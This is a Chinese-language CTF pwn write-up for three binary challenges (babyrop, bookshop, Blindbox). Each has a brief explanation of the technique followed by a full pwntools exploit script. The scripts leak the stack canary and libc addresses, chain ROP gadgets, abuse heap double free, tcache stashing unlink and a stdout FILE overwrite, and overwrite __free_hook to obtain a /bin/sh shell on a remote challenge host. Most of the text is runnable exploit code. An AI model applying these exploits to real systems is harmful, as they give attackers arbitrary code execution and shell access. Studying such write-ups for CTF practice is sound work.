完成一次pwn ak
babyrop
main函数能通过泄露栈上残留数据泄露canary,进入vuln函数可以溢出8字节,溢出后返回vuln首地址则栈帧会往高地址移8字节,多次返回直到与main函数中输入的数据接壤,形成rop链泄露libc地址,然后返回main函数故技重施执行system
from pwn import *
import time
context(log_level='debug',arch='amd64')
local=0
binary_name='babyrop'
libc=ELF("libc.so.6")
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
else:
p=remote('123.57.132.168', 36894)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
puts = e.plt['puts']
main = 0x40075B
vuln = 0x400717
rdi = 0x0000000000400913
ret = 0x00000000004005b6
ru('name?')
sd(b'a'*0x18+b'b')
ru('aaaaab')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
ru('challenge')
sl(str(0x4009ae))
ru('message')
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(main))
ru('name?')
sd(p64(0x600FC0)+p64(puts)+p64(main)+b'\n')
ru('challenge')
sl(str(0x4009ae))
ru('message')
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(rdi))
ru('\n')
puts = leak_address()
print(hex(puts))
libcbase=puts-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search(b"/bin/sh\x00").__next__()
ru('name?')
sd(p64(bin_sh)+p64(ret)+p64(system_addr)+b'\n')
ru('challenge')
sl(str(0x4009ae))
ru('message')
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(vuln))
sd(b'b'*0x18+p64(canary)+p64(0x601010+0x50)+p64(rdi))
ia()
bookshop
只能申请相同大小的堆块,UAF只能读和double free不能写,用0x80大小的堆块
tcache不能直接double free,放到fastbin里double free后链入tcache,分配堆块到某个堆块头部地址构造堆块重叠,修改size将其放入unsorted bin来泄露libc地址,然后写free_hook
from pwn import *
import time
context(log_level='debug',arch='amd64')
local=0
binary_name='bookshop'
libc=ELF("libc.so.6")
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
else:
p=remote('123.57.132.168', 19108)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
sz1=0x88
sz2=0x98
sz3=0xf8
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla('>> ',str(num))
def add(con):
cho(1)
sla("in the Book",con)
def delete(idx):
cho(2)
sla('from you bag?',str(idx))
def show(idx):
cho(3)
sla('want to read?',str(idx))
def edit(idx,con):
cho(4)
sla("to change?",str(idx))
sla("New content:",con)
ru('number?\n')
sl(str(0x78))
add(b'a'*0x60+p64(0)+p64(0x81))
for i in range(1,7):
add('X1ng')
add('X2ng')
add('X3ng')
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
show(7)
ru('Content: ')
heap = leak_address()
print(hex(heap))
for i in range(7):
add('a')#9,10,11,12,13,14,15
add(p64(heap-0x380))
add('a')
add('b')
add(p64(0)+p64(0x431))#19
add(b'c'*0x20+p64(0)+p64(0x51))
delete(1)
show(1)
ru('Content: ')
libcbase = leak_address()-0x1ebbe0
system=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search(b"/bin/sh\x00").__next__()
free_hook = libcbase+libc.sym['__free_hook']
print(hex(libcbase))
delete(6)
delete(19)
delete(0)
add(b'a'*0x60+p64(0)+p64(0x81)+p64(free_hook))
add('/bin/sh\x00')
add(p64(system))
delete(22)
ia()
Blindbox
用calloc分配地址,并且限制大小不能用fastbin,也可以UAF,但是只能读一次和写一次,限制了读堆块的时候不能出现\x7f,并且有一次malloc的机会
给了一个后门函数,只要输入8次system的地址与rand生成的随机数异或的结果就能拿到shell,srand设置了种子为0,所以只需要知道system的地址就可以了
读堆块泄露堆地址后用tcache smashing unlink plus将 _IO_2_1_stdout_
之前的地址链入tcache,用malloc申请出来覆写stdout结构体泄露libc地址,然后进后门即可
from pwn import *
import time
context(log_level='debug',arch='amd64')
local=1
binary_name='Blindbox'
libc=ELF("libc.so.6")
def exp():
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
else:
p=remote('123.57.132.168', 36894)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
def cho(num):
sla('>> ',str(num))
def add(num,idx):
cho(1)
ru('Which lucky number do you want to choose\n')
sl(str(num))
ru("Give index for this Blindbox(1-3): \n")
sl(str(idx))
def delete(idx):
cho(2)
sla('to drop?',str(idx))
def show(idx):
cho(3)
sla('want to open?',str(idx))
def edit(idx,con):
cho(4)
sla("to change?",str(idx))
ru("New content:")
sd(con)
def wish(con):
cho(5)
ru('your wish: ')
sd(con)
def backdoor():
ru(">> ")
sl('6')
ru("Please tell me your name:\n")
sl('a')
ru("The first lucky number?\n")
sl(str(0x90))
ru("The second lucky number?\n")
sl(str(0x140))
ru("The third lucky number?\n")
sl(str(0xa0))
for i in range(5):
add(1,1)
delete(1)
for i in range(7):
add(2,1)
delete(1)
for i in range(7):
add(3,1)
delete(1)
show(1)
ru("Content of this Blindbox: ")
heap = u64(rc(6).ljust(8,b'\x00'))
success(hex(heap))
add(2,1)
add(2,3)
add(2,2)
#get smallbin1
delete(1)
add(3,3)
add(2,3)
add(2,1)
delete(2)
delete(3)
add(3,2)
add(2,1)
delete(1)
delete(2)
add(2,2)
add(2,3)
#get smallbin2
delete(2)
add(3,3)
add(3,3)
edit(1,p64(heap+0x200)+b'\x80\x36')
add(1,1)
wish(p64(0)*2+p64(0xfbad1887)+p64(0)*3+b'\x00')
libcbase = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x1eb980
success(hex(libcbase))
pause()
system = libcbase+libc.sym['system']
success(hex(system))
rand = [
1804289383,
846930886,
1681692777,
1714636915,
1957747793,
424238335,
719885386,
1649760492
]
backdoor()
for i in range(8):
ru("Please guess>")
sl(str(int(system)^int(rand[i])))
ia()
while 1:
try:
exp()
except:
pass